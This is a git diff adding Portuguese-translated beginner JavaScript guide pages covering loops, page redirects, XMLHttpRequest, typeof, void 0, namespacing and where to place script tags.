+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/invert-regular-expression-matches-with-javascript/index.md b/client/src/guide/portuguese/javascript/tutorials/invert-regular-expression-matches-with-javascript/index.md
new file mode 100644
index 0000000000..7351b9fa0d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/invert-regular-expression-matches-with-javascript/index.md
@@ -0,0 +1,7 @@
+---
+title: Invert Regular Expression Matches with JavaScript
+localeTitle: Inverta correspondências de expressões regulares com JavaScript
+---
+Use `/\S/gi` ; para combinar tudo o que não é um espaço na string.
+
+Você pode inverter qualquer correspondência usando a versão maiúscula do seletor `\s` versus `\S` por exemplo.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/iterate-with-javascript-for-loops/index.md b/client/src/guide/portuguese/javascript/tutorials/iterate-with-javascript-for-loops/index.md
new file mode 100644
index 0000000000..7e0cbb6c3d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/iterate-with-javascript-for-loops/index.md
@@ -0,0 +1,26 @@
+---
+title: Iterate with JavaScript for Loops
+localeTitle: Iterar com JavaScript para loops
+---
+O tipo mais comum de loop de JavaScript é chamado `for loop` porque é executado `for` um número específico de vezes.
+```
+var ourArray = []; 
+ for(var i = 0; i < 5; i++) { 
+  ourArray.push(i); 
+ } 
+```
+
+ourArray agora conterá \[0,1,2,3,4\]
+
+## Mais sobre for loops
+```
+for(var i = 0; i < 5; i++) {  // There are 3 parts here 
+```
+
+Existem três partes para loop. Eles são separados por ponto e vírgula.
+
+1.  A inicialização: `var i = 0;` - Este código é executado apenas uma vez no início do loop. É geralmente usado para declarar a variável do contador (com `var` ) e inicializar o contador (neste caso, é definido como 0).
+    
+2.  A condição: `i < 5;` - O loop será executado enquanto isso for `true` . Isso significa que, assim que `i` for igual a 5, o loop parará de fazer loop. Note que o interior do loop nunca verá `i` como 5, porque ele irá parar antes disso. Se esta condição for inicialmente `false` , o loop nunca será executado.
+    
+3.  O incremento: `i++` - Este código é executado no final de cada loop. Geralmente é um incremento simples (operador `++` ), mas pode ser qualquer transformação matemática. É usado para mover o contador ( `i` ) para frente (ou para trás, ou o que for.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/iterate-with-javascript-while-loops/index.md b/client/src/guide/portuguese/javascript/tutorials/iterate-with-javascript-while-loops/index.md
new file mode 100644
index 0000000000..c9d5096390
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/iterate-with-javascript-while-loops/index.md
@@ -0,0 +1,14 @@
+---
+title: Iterate with JavaScript While Loops
+localeTitle: Iterar com loops While de JavaScript
+---
+Outro tipo de loop de JavaScript é chamado de `while loop` porque ele é executado `while` algo é verdadeiro e pára assim que algo não for mais verdadeiro.
+```
+var ourArray = []; 
+ var i = 0; 
+ while(i < 5) { 
+  ourArray.push(i); 
+  i++; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/javascript-for-loops-explained/index.md b/client/src/guide/portuguese/javascript/tutorials/javascript-for-loops-explained/index.md
new file mode 100644
index 0000000000..b07edcef1a
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/javascript-for-loops-explained/index.md
@@ -0,0 +1,43 @@
+---
+title: JavaScript for Loops Explained
+localeTitle: JavaScript para Loops Explained
+---
+A instrução for cria um loop que consiste em três expressões opcionais, entre parênteses e separadas por ponto e vírgula, seguidas por uma instrução ou um conjunto de instruções executadas no loop.
+
+O loop for possui a seguinte sintaxe:
+```
+for (<a href='http://forum.freecodecamp.com/t/javascript-while-loop/14668' target='_blank' rel='nofollow'>initialization]; [condition]; [final-expression]) { 
+    code block to be executed 
+ } 
+```
+
+\[inicialização\] é executado antes que o loop (o bloco de código) seja iniciado.
+
+\[condição\] define a condição para executar o loop (o bloco de código).
+
+\[expressão final\] é executada toda vez que o loop (o bloco de código) é executado.
+
+## Exemplo em JavaScript:
+```
+var ourArray = []; 
+ for (var i = 0; i < 5; i++) { 
+    ourArray.push(i); 
+ } 
+```
+
+No exemplo acima, você pode ler:
+
+\[initialization\] define uma variável antes do início do loop (var i = 0).
+
+\[condição\] define a condição para o loop ser executado (eu devo ser menor que 5).
+
+\[expressão final\] aumenta um valor (i ++) toda vez que o bloco de código no loop for executado.
+
+## Por que precisamos de "for loops"?
+
+For loops são usados ​​para percorrer um bloco de código um número conhecido de vezes. Às vezes é o computador que sabe quantas vezes, não você, mas ainda é conhecido.
+
+Checkout alguns dos nossos outros artigos em loops:
+
+*   \[While Loop
+*   [Para em loop](http://forum.freecodecamp.com/t/javascript-for-in-loop/14665)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/page-redirects-using-javascript/index.md b/client/src/guide/portuguese/javascript/tutorials/page-redirects-using-javascript/index.md
new file mode 100644
index 0000000000..a87bcbfb7a
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/page-redirects-using-javascript/index.md
@@ -0,0 +1,59 @@
+---
+title: Page Redirects Using JavaScript
+localeTitle: Página Redireciona Usando JavaScript
+---
+## Página Redireciona Usando JavaScript
+
+Se você estiver tentando redirecionar um usuário para outra página, poderá usar o JavaScript facilmente para realizar essa tarefa. É importante observar o seguinte:
+
+Mesmo se você tiver a biblioteca jQuery carregada em seus scripts, talvez você queira usar a solução JavaScript pura para redirecionamentos de página para fins de eficiência.
+
+Existem várias maneiras diferentes de fazer isso, mas a maneira mais simples é usar o objeto `window.location` para enviar o usuário para a página para a qual você deseja que ele seja redirecionado. O objeto `window.location` pode usar qualquer valor de URL válido, como `http://www.yoururl.com` , `somepage.html` etc.
+
+```javascript
+window.location = 'http://www.yoururl.com'; 
+ // window.location = 'somepage.html'; 
+ // etc. 
+```
+
+### Redirecionamento de Caso Especial
+
+Você pode usar um método de redirecionamento especial que, por padrão, é anexado ao objeto `window.location` em cada navegador principal denominado `replace()` . Esse método aceita os mesmos valores de URL válidos que apenas usando `window.location` .
+
+Aqui está um exemplo de como usar esse método (ele ainda funcionará da mesma forma que usar `window.location` em outros navegadores):
+
+```javascript
+window.location.replace('http://www.yoururl.com'); 
+ // window.location.replace('somepage.html'); 
+ // etc. 
+```
+
+### Um redirecionamento temporizado simples usando JS
+
+Aqui está um exemplo de um redirecionamento cronometrado simples usando a função `setTimeout()` . Os redirecionamentos cronometrados são úteis para que você possa explicar ao usuário, por meio do conteúdo na página de redirecionamento, o motivo pelo qual eles estão sendo redirecionados para outra página.
+
+```javascript
+// the 5000 below is 5000 milliseconds which equals 5 seconds until the redirect happens 
+ // keep in mind that 1 second = 1000 milliseconds 
+ setTimeout(function () { 
+    window.location = 'http://www.yoururl.com'; 
+    // window.location = 'somepage.html'; 
+    // etc. 
+ }, 5000); 
+```
+
+### Cair pra trás
+
+Às vezes, os usuários navegam na Internet com o JavaScript desabilitado, e isso obviamente apresentaria problemas com uma solução de redirecionamento dependente do JS. Recomendo definir um elemento `<meta>` que atualize o navegador com o novo local. Eu definiria o tempo para esse elemento meta ser um segundo depois do suposto redirecionamento de JS. Portanto, se você tiver um redirecionamento que acontece no JS após 5 segundos, defina o redirecionamento do elemento `<meta>` para ocorrer em 6 segundos.
+
+Coloque o elemento `<meta>` dentro do `<head>` do seu documento da seguinte forma:
+
+```html
+
+<head> 
+    <!-- Change the 6 below to however many seconds you wish to wait until redirection to the new page.  Change the portion after "URL=" to the URL of your choice.  This can be a local page: URL=somepage.html, a web address: URL=http://www.yoururl.com, or any other valid URL. It is important to note the semicolon between the number of seconds to refresh and the URL. --> 
+    <meta http-equiv="refresh" content="6;URL=http://www.yoururl.com"> 
+ </head> 
+```
+
+Tenha em mente que nem todos os navegadores suportam o elemento `<meta>` (estou olhando para você, versões anteriores do IE e Safari), mas a maioria dos navegadores modernos (Microsoft Edge, Google Chrome, Mozilla Firefox, Opera).
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/perform-arithmetic-operations-on-decimals-with-javascript/index.md b/client/src/guide/portuguese/javascript/tutorials/perform-arithmetic-operations-on-decimals-with-javascript/index.md
new file mode 100644
index 0000000000..21d802e5b5
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/perform-arithmetic-operations-on-decimals-with-javascript/index.md
@@ -0,0 +1,9 @@
+---
+title: Perform Arithmetic Operations on Decimals with JavaScript
+localeTitle: Executar operações aritméticas em decimais com JavaScript
+---
+Em JavaScript, você pode realizar cálculos com números decimais, assim como números inteiros.
+```
+var quotient = 4.4 / 2.0; // equals 2.2 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/store-multiple-values-in-one-variable-using-javascript-arrays/index.md b/client/src/guide/portuguese/javascript/tutorials/store-multiple-values-in-one-variable-using-javascript-arrays/index.md
new file mode 100644
index 0000000000..ae06a13e92
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/store-multiple-values-in-one-variable-using-javascript-arrays/index.md
@@ -0,0 +1,12 @@
+---
+title: Store Multiple Values in One Variable Using JavaScript Arrays
+localeTitle: Armazenar vários valores em uma variável usando matrizes JavaScript
+---
+Com variáveis ​​de matriz JavaScript, podemos armazenar vários dados em um só lugar.
+
+Você inicia uma declaração de matriz com um colchete de abertura, termina com um colchete de fechamento e coloca uma vírgula entre cada entrada, assim:
+```
+var sandwich = ["peanut butter", "jelly", "bread"] 
+```
+
+`myArray = [2,'j'];`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/subtract-one-number-from-another-with-javascript/index.md b/client/src/guide/portuguese/javascript/tutorials/subtract-one-number-from-another-with-javascript/index.md
new file mode 100644
index 0000000000..f03a717ce9
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/subtract-one-number-from-another-with-javascript/index.md
@@ -0,0 +1,11 @@
+---
+title: Subtract One Number from Another with JavaScript
+localeTitle: Subtrair um número de outro com JavaScript
+---
+Nós também podemos subtrair um número de outro.
+
+Usos JavaScript usam o símbolo - para subtração.
+```
+var difference = 45 - 33; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/the-javascript-version-of-jquerygetjson/index.md b/client/src/guide/portuguese/javascript/tutorials/the-javascript-version-of-jquerygetjson/index.md
new file mode 100644
index 0000000000..f2ce012b54
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/the-javascript-version-of-jquerygetjson/index.md
@@ -0,0 +1,70 @@
+---
+title: JavaScript Version of Jquerygetjson
+localeTitle: Versão JavaScript do Jquerygetjson
+---
+Se você quer trabalhar com arquivos json com apenas baunilha JavaScript.
+
+## IE8 +
+```
+var request = new XMLHttpRequest(); 
+ request.open('GET', '/my/url', true); 
+ 
+ request.onreadystatechange = function() { 
+  if (this.readyState === 4) { 
+    if (this.status >= 200 && this.status < 400) { 
+      // Success! 
+      var data = JSON.parse(this.responseText); 
+    } else { 
+      // Error :( 
+    } 
+  } 
+ }; 
+ 
+ request.send(); 
+ request = null; 
+```
+
+## IE9 +
+```
+var request = new XMLHttpRequest(); 
+ request.open('GET', '/my/url', true); 
+ 
+ request.onload = function() { 
+  if (request.status >= 200 && request.status < 400) { 
+    // Success! 
+    var data = JSON.parse(request.responseText); 
+  } else { 
+    // We reached our target server, but it returned an error 
+ 
+  } 
+ }; 
+ 
+ request.onerror = function() { 
+  // There was a connection error of some sort 
+ }; 
+ 
+ request.send(); 
+```
+
+## IE10 +
+```
+var request = new XMLHttpRequest(); 
+ request.open('GET', '/my/url', true); 
+ 
+ request.onload = function() { 
+  if (this.status >= 200 && this.status < 400) { 
+    // Success! 
+    var data = JSON.parse(this.response); 
+  } else { 
+    // We reached our target server, but it returned an error 
+ 
+  } 
+ }; 
+ 
+ request.onerror = function() { 
+  // There was a connection error of some sort 
+ }; 
+ 
+ request.send(); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/use-the-javascript-console/index.md b/client/src/guide/portuguese/javascript/tutorials/use-the-javascript-console/index.md
new file mode 100644
index 0000000000..9cce90f7fa
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/use-the-javascript-console/index.md
@@ -0,0 +1,20 @@
+---
+title: Use the JavaScript Console
+localeTitle: Use o Console JavaScript
+---
+Tanto o Chrome quanto o Firefox possuem excelentes consoles JavaScript, também conhecidos como DevTools, para depurar seu JavaScript.
+
+Você pode encontrar ferramentas do desenvolvedor no menu ou no console da Web do Chrome no menu do FireFox. Se você estiver usando um navegador diferente ou um celular, recomendamos mudar para o Firefox ou o Google Chrome para computador.
+
+Você também pode usar [https://repl.it/](https://repl.it/) para executar o código online.
+
+É assim que você imprime no console:
+```
+console.log('Hello world!') 
+```
+
+Além disso, você pode imprimir um log de erros no console com este código:
+```
+console.error('I am an error!') 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/using-anonymous-functions-for-private-namespacing-in-your-javascript-apps/index.md b/client/src/guide/portuguese/javascript/tutorials/using-anonymous-functions-for-private-namespacing-in-your-javascript-apps/index.md
new file mode 100644
index 0000000000..0f8e6d1705
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/using-anonymous-functions-for-private-namespacing-in-your-javascript-apps/index.md
@@ -0,0 +1,80 @@
+---
+title: Using Anonymous Functions for Private Namespacing in Your JavaScript Apps
+localeTitle: Usando funções anônimas para namespacing privado em seus aplicativos JavaScript
+---
+Vamos dar uma olhada no que é um namespace quando se trata de criar aplicativos JavaScript e alguns dos benefícios de usar um namespace privado ao criar seus aplicativos.
+
+**Observe que este artigo faz referência a funções de auto-execução anônimas. Se você não sabe o que é isso, por favor leia este excelente artigo de Noah Stokes: [Funções anônimas auto-executáveis ​​ou como escrever Javascript limpo](http://esbueno.noahstokes.com/post/77292606977/self-executing-anonymous-functions-or-how-to-write) . Este artigo entrará em detalhes sobre funções auto-executáveis ​​anônimas.**
+
+## O que é um namespace?
+
+Para simplificar, um namespace é apenas uma seção de código que possui seu próprio espaço. Quando você começa a escrever aplicativos JS, geralmente basta digitar o código e executá-lo. Isso coloca todo o código no que é conhecido como o **namespace global** , que contém todo o código da janela em que você está trabalhando.
+
+No entanto, se você mantiver todo o seu código no **namespace global** , poderá encontrar problemas com colisões, convenções de nomenclatura etc., especialmente em grandes aplicativos / jogos JS.
+
+Vamos dar uma olhada em um exemplo de como usar apenas o **namespace global** para desenvolver um jogo é uma má ideia.
+
+Então, digamos que temos um jogo que é acompanhar os pontos que o jogador tem:
+```
+var points = 0; 
+```
+
+Muitos jogos rastreiam pontos para adicionar uma vantagem competitiva ao jogo. Simplesmente digitando essa linha em um script, criamos uma variável chamada _points_ que pode rastrear os pontos ganhos pelo usuário.
+
+E está tudo bem e bem, mas digamos que temos um usuário mais avançado jogando o jogo. Este usuário sabe como olhar para a fonte de uma página da web e, assim, essa pessoa dá uma olhada na fonte por trás do jogo JS e percebe que a variável _points_ está ali no **namespace global** . Um sorriso maligno desce pelo rosto deles enquanto eles contemplam os pontos que eles podem alcançar! Eles decidem que não querem esperar para bater alguns bandidos, ou esmagar alguns cogumelos, ou o que você tem, para acumular um monte de pontos. Eles querem seus pontos agora! Bem, como soa _um quatrilhão de bilhões de_ pontos? Então, eles carregam o console em seu navegador favorito e simplesmente digitam no console:
+```
+points = 34750925489459203859095480917458059034; 
+```
+
+Uma vez que o usuário acerta, a variável de _pontos_ é atualizada no jogo. Agora, o usuário tem uma quantidade realmente grande e provavelmente irrealista de pontos no jogo, e ele pode se gabar para seus amigos de que ninguém pode vencer sua pontuação incrível.
+
+Então, como evitamos que isso ocorra? É aqui que **os namespaces privados** entram em cena.
+
+## Namespaces privados
+
+**Os namespaces privados** permitem que os desenvolvedores coloquem seu código em seções (ou **namespaces** ). Essas seções operam independentemente uma da outra, mas ainda podem ler e gravar no **namespace global** .
+
+Para dividir isso em termos mais simples de um cenário da vida real, digamos que você esteja trabalhando em um prédio de escritórios. Você tem seu próprio escritório e vê outros com seus próprios escritórios. Cada escritório está trancado e apenas a pessoa que possui o escritório tem uma chave para esse escritório. Digamos também que você tenha algum tipo de superbloqueio que torne seu escritório impenetrável por qualquer outra pessoa no prédio. Vamos considerar o próprio edifício de escritórios como o **espaço de nomes global** e cada escritório como um **espaço de nomes privado** . Você não tem acesso ao escritório de outra pessoa nem tem acesso ao seu. Mas, cada um de vocês tem acesso ao resto do prédio, seja tomando café, pegando um lanche, etc. Cada um de vocês pode pegar algo do **namespace global** (ou criar / modificar algo lá), mas você pode crie / modifique / pegue qualquer coisa dos escritórios um do outro; você só pode criar / modificar / pegar de seu próprio **namespace** / escritório **particular** .
+
+## Obtendo um namespace particular
+
+Então, como conseguimos esse **namespace privado** em JavaScript? Use uma função de auto-execução anônima! Se você não leu o artigo de Noah Stokes, [Funções anônimas auto-executáveis ​​ou Como escrever Javascript limpo](http://esbueno.noahstokes.com/post/77292606977/self-executing-anonymous-functions-or-how-to-write) , faça-o agora. Este artigo entrará em detalhes sobre funções auto-executáveis ​​anônimas.
+
+Vamos dar uma olhada em usar essa variável de _pontos_ de antes, mas vamos separá-la em um **namespace privado** :
+```
+//The most common way you'll see an anonymous self-executing function 
+ (function () { 
+    var points = 0; 
+ })(); 
+ 
+ //This is just one of many more alternative ways to use an anonymous self-executing function 
+ /* 
+ !function () { 
+    var points = 0; 
+ }(); 
+ */ 
+```
+
+Agora, quando o usuário chegar à página, ele não poderá abrir o console no navegador e alterar o valor da variável de pontos como desejar! Impressionante!
+
+## Interação de Namespace e Documento
+
+O código acima era apenas um uso para usar uma função auto-executável anônima para dar ao código seu próprio **namespace particular** . Lembre-se de que os namespaces afetam apenas o código JS (variables / arrays / objects / etc.), E não o código que pertence ao próprio documento.
+
+Qualquer código dentro de um espaço de nomes ainda tem o mesmo acesso ao documento HTML e CSS, como faria normalmente no **espaço de nomes global** . Dê uma olhada nos próximos dois exemplos de código. Ambos executam a mesma funcionalidade e nenhum é mais benéfico ou mais eficiente que o outro.
+```
+<script type="text/javascript"> 
+    (function () { 
+        document.querySelector('body').style.background = 'blue'; 
+    })(); 
+ </script> 
+```
+
+é o mesmo que:
+```
+<script type="text/javascript"> 
+    document.querySelector('body').style.background = 'blue'; 
+ </script> 
+```
+
+Tenha em mente que esta é apenas uma maneira de usar namespaces em aplicativos JavaScript. Adapte seu código ao que melhor se adapta à situação em questão.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/what-does-javascript-void-0-mean/index.md b/client/src/guide/portuguese/javascript/tutorials/what-does-javascript-void-0-mean/index.md
new file mode 100644
index 0000000000..d034e39d66
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/what-does-javascript-void-0-mean/index.md
@@ -0,0 +1,90 @@
+---
+title: What Does JavaScript Void 0 Mean
+localeTitle: O que significa JavaScript Void 0?
+---
+## O que significa JavaScript Void 0?
+
+**O operador void do JavaScript avalia uma expressão e retorna indefinido** .
+
+Usando o console para verificar o mesmo: -
+
+![ConsoleOutput](https://github.com/srawat19/-Guide_Images/blob/master/VoidConsole.PNG?raw=true)
+
+**_Nota_** : - **vazio** independentemente de qualquer valor repassado, _sempre retorna **indefinido** como mostrado acima_ . Mas, **nulo com operando 0 é preferido** .
+
+**Duas maneiras de usar o operando 0 -> void (0) ou void 0.** Qualquer uma delas está bem.
+
+#### Quando usar o Javascript void (0)?
+
+Ao clicar no link, você não deseja que o navegador carregue uma nova página ou atualize a mesma página (dependendo do URL especificado). Em vez disso, execute o JavaScript anexado a esse link.
+
+#### Exemplo de Exemplo 1 com Javascript void (0):
+
+```html
+
+<html> 
+ <body> 
+ <a href="javascript:void(0);alert('Hello ! I am here')">Click Me</a> 
+ </body> 
+ </html> 
+```
+
+#### Saída:
+
+Quando clicado no link do ClickMe, um alerta aparece como abaixo:
+
+![Saída1](https://github.com/srawat19/-Guide_Images/blob/master/voidOutput1.PNG?raw=true)
+
+#### Exemplo de Exemplo 2 com Javascript void (0):
+
+```html
+
+<html> 
+ <body> 
+ <a href="javascript:void(0)" ondblclick="alert('Hi,i didnt refresh the page')" )>Click Me</a> 
+ </body> 
+ </html> 
+```
+
+#### Saída:
+
+Quando você clica duas vezes no link, um alerta é exibido sem nenhuma atualização de página.
+
+#### Exemplo de Exemplo 3 com Javascript void (0):
+
+```html
+
+<html> 
+ <body> 
+ <a href="javascript:void(0);https://www.google.co.in/" 
+ ondblclick="alert('Hello !! You will see me and not get redirected to google.com ')">Click Me</a> 
+ </body> 
+ </html> 
+```
+
+#### Saída:
+
+Quando você clica duas vezes no link, um alerta é exibido, o fechamento também não redireciona para o google.com.
+
+#### Exemplo de exemplo sem Javascript void (0):
+
+```html
+
+<html> 
+ <body> 
+ <a href="https://www.google.co.in/" ondblclick="alert('Hello !! You will see me and then get redirected to google.com even if not needed')">Click Me</a> 
+ </body> 
+ </html> 
+```
+
+#### Saída:
+
+Quando você clica duas vezes no link, um alerta é exibido, e o fechamento redireciona para o google.com.
+
+#### Conclusão:
+
+**O** operador **void** é útil quando você precisa evitar qualquer atualização ou redirecionamento de página indesejada. Em vez disso, execute alguma operação de javascript.
+
+#### Mais Informações:
+
+1) [Mozilla Docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/void) 2) [Compreender void 0](https://www.quackit.com/javascript/tutorial/javascript_void_0.cfm)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/write-reusable-javascript-with-functions/index.md b/client/src/guide/portuguese/javascript/tutorials/write-reusable-javascript-with-functions/index.md
new file mode 100644
index 0000000000..fcb99e2eaa
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/write-reusable-javascript-with-functions/index.md
@@ -0,0 +1,33 @@
+---
+title: Write Reusable JavaScript with Functions
+localeTitle: Escreva JavaScript reutilizável com funções
+---
+Em JavaScript, podemos dividir nosso código em partes reutilizáveis ​​chamadas funções.
+
+Aqui está um exemplo de uma função:
+```
+function functionName() { 
+  console.log("Hello World"); 
+ } 
+```
+
+Você pode `call` ou `invoke` esta função usando seu nome seguido por parênteses, assim:
+```
+functionName(); 
+```
+
+Cada vez que a função é chamada, ela imprimirá a mensagem "Hello World" no console de desenvolvimento. Todo o código entre as chaves será executado toda vez que a função for chamada.
+
+Aqui está outro exemplo:
+```
+function otherFunctionName (a, b) { 
+    return(a + b); 
+ } 
+```
+
+Podemos `call` ou `invoke` nossa função assim:
+```
+otherFunctionName(1,2); 
+```
+
+e ele será executado e retornará seu valor de retorno para nós.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/typeof/index.md b/client/src/guide/portuguese/javascript/typeof/index.md
new file mode 100644
index 0000000000..3effeef84f
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/typeof/index.md
@@ -0,0 +1,95 @@
+---
+title: Typeof
+localeTitle: Tipo de
+---
+## Tipo de
+
+`typeof` é uma palavra-chave JavaScript que retornará o tipo de uma variável quando você a chamar. Você pode usar isso para validar parâmetros de função ou verificar se variáveis ​​estão definidas. Existem outros usos também.
+
+O operador `typeof` é útil porque é uma maneira fácil de verificar o tipo de uma variável em seu código. Isso é importante porque o JavaScript é uma [linguagem digitada dinamicamente](https://stackoverflow.com/questions/2690544/what-is-the-difference-between-a-strongly-typed-language-and-a-statically-typed) . Isso significa que você não é obrigado a atribuir tipos a variáveis ​​ao criá-los. Como uma variável não é restrita dessa maneira, seu tipo pode mudar durante o tempo de execução de um programa.
+
+Por exemplo:
+
+```javascript
+var x = 12345; // number 
+ x = 'string'; // string 
+ x = { key: 'value' }; // object 
+```
+
+Como você pode ver no exemplo acima, uma variável em JavaScript pode alterar os tipos durante a execução de um programa. Isso pode ser difícil de controlar como um programador, e é aí que o operador `typeof` é útil.
+
+O operador `typeof` retorna uma string que representa o tipo atual de uma variável. Você pode usá-lo digitando `typeof(variable)` ou `typeof variable` . Voltando ao exemplo anterior, você pode usá-lo para verificar o tipo da variável `x` em cada estágio:
+
+```javascript
+var x = 12345; 
+ console.log(typeof x) // number 
+ x = 'string'; 
+ console.log(typeof x) // string 
+ x = { key: 'value' }; 
+ console.log(typeof x) // object 
+```
+
+Isso pode ser útil para verificar o tipo de uma variável em uma função e continuar conforme apropriado.
+
+Aqui está um exemplo de uma função que pode pegar uma variável que é uma string ou um número:
+
+```javascript
+function doSomething(x) { 
+  if(typeof(x) === 'string') { 
+    alert('x is a string') 
+  } else if(typeof(x) === 'number') { 
+    alert('x is a number') 
+  } 
+ } 
+```
+
+Outra maneira que o operador `typeof` pode ser útil é garantir que uma variável seja definida antes de tentar acessá-la em seu código. Isso pode ajudar a evitar erros em um programa que podem ocorrer se você tentar acessar uma variável que não esteja definida.
+
+```javascript
+function(x){ 
+  if (typeof(x) === 'undefined') { 
+    console.log('variable x is not defined'); 
+    return; 
+  } 
+  // continue with function here... 
+ } 
+```
+
+A saída do operador `typeof` pode nem sempre ser o que você espera quando você verifica um número.  
+Os números podem se transformar no valor [NaN (não um número)](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN) por vários motivos.
+
+```javascript
+console.log(typeof NaN); //"number" 
+```
+
+Talvez você tenha tentado multiplicar um número por um objeto porque esqueceu de acessar o número dentro do objeto.
+
+```javascript
+var x = 1; 
+ var y = { number: 2 }; 
+ console.log(x * y); // NaN 
+ console.log(typeof (x * y)); // number 
+```
+
+Ao verificar um número, não é suficiente verificar a saída do `typeof` de um número, pois o `NaN` também  
+passa este teste.  
+Esta função verifica números, e também não permite que o valor `NaN` passe.
+
+```javascript
+function isNumber(data) { 
+  return (typeof data === 'number' && !isNan(data)); 
+ } 
+```
+
+Mesmo pensando que este é um método de validação útil, temos que ter cuidado, porque o JavaScript tem algumas partes estranhas e uma delas é o resultado do `typeof` instruções específicas. Por exemplo, em JavaScript muitas coisas são apenas `objects` assim você encontrará.
+
+```javascript
+var x = [1,2,3,4]; 
+ console.log(typeof x)  // object 
+ 
+ console.log(typeof null)  // object 
+```
+
+### Mais Informações:
+
+[Documentação MDN para typeof](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/undefined-primitive-values/index.md b/client/src/guide/portuguese/javascript/undefined-primitive-values/index.md
new file mode 100644
index 0000000000..e931cbb25f
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/undefined-primitive-values/index.md
@@ -0,0 +1,7 @@
+---
+title: Undefined Primitive Value
+localeTitle: Valor primitivo indefinido
+---
+Um valor primitivo atribuído automaticamente a variáveis ​​que acabaram de ser declaradas ou a argumentos formais para os quais não há argumentos reais.
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/where-to/index.md b/client/src/guide/portuguese/javascript/where-to/index.md
new file mode 100644
index 0000000000..ca1f6db8e6
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/where-to/index.md
@@ -0,0 +1,102 @@
+---
+title: Where to
+localeTitle: Para onde
+---
+## Para onde
+
+JavaScript é a linguagem de programação do HTML e da Web. Em HTML, o JavaScript deve ser inserido na tag do contêiner `<script>` .
+
+### Exemplo
+
+```html
+
+<script> 
+  window.alert("This JavaScript Works!"); 
+ </script> 
+```
+
+Além disso, lembre-se de que você pode colocar qualquer número de tags `<script>` em um documento HTML.
+
+### Para onde vai a tag `<script>` ?
+
+A tag `<script>` pode ser colocada no `<head>` ou no `<body>` .
+
+### JavaScript no `<head>`
+
+Neste exemplo, o JavaScript é colocado na seção `<head>` do documento. Uma função **onClicked** é criada, que é chamada quando um botão é pressionado.
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+ <head> 
+ <script> 
+ function onClicked() { 
+    window.alert("Hi, there!"); 
+ } 
+ </script> 
+ </head> 
+ 
+ <body> 
+ 
+ <h1>JavaScript Testing</h1> 
+ <button type="button" onclick="onClicked()">Try it</button> 
+ 
+ </body> 
+ </html> 
+```
+
+### JavaScript no `<body>`
+
+Aqui, o JavaScript é colocado no . A função **onClicked** é criada e está configurada para ser acionada quando o botão é clicado.
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <h1>JavaScript Testing</h1> 
+ <button type="button" id="buttonClicked">Try it</button> 
+ 
+ <script> 
+ document.getElementById("buttonClicked").onclick = onClicked; 
+ 
+ function onClicked() { 
+    window.alert("Hi, there!"); 
+ } 
+ </script> 
+ 
+ </body> 
+ </html> 
+```
+
+### Scripts externos
+
+Scripts também podem ser colocados em arquivos externos. Vamos criar um arquivo **script.js** .
+
+##### script.js
+
+```javascript
+window.alert("Hi!"); 
+```
+
+Este script pode ser incluído em um documento HTML da seguinte forma:
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <script src="script.js"></script> 
+ 
+ </body> 
+ </html> 
+```
+
+_Oi!_ ainda será alertado quando a página for renderizada. Lembre-se, você não precisa incluir tags `<script>` em arquivos JavaScript (os arquivos que possuem a extensão **.js** ).
+
+#### Mais Informações:
+
+Yahoo recomenda colocar scripts na parte inferior. Isso é elaborado [aqui](https://developer.yahoo.com/performance/rules.html#js_bottom) , com o motivo dessa recomendação.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/window-clearinterval-method/index.md b/client/src/guide/portuguese/javascript/window-clearinterval-method/index.md
new file mode 100644
index 0000000000..f7bfde5a39
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/window-clearinterval-method/index.md
@@ -0,0 +1,23 @@
+---
+title: Window clearInterval Method
+localeTitle: Método clearInterval da janela
+---
+## Método clearInterval da janela
+
+O método 'clearInterval ()' é usado para limpar um temporizador configurado com o método 'setInterval ()'.
+
+```js
+    clearInterval(setInteval_ID); 
+```
+
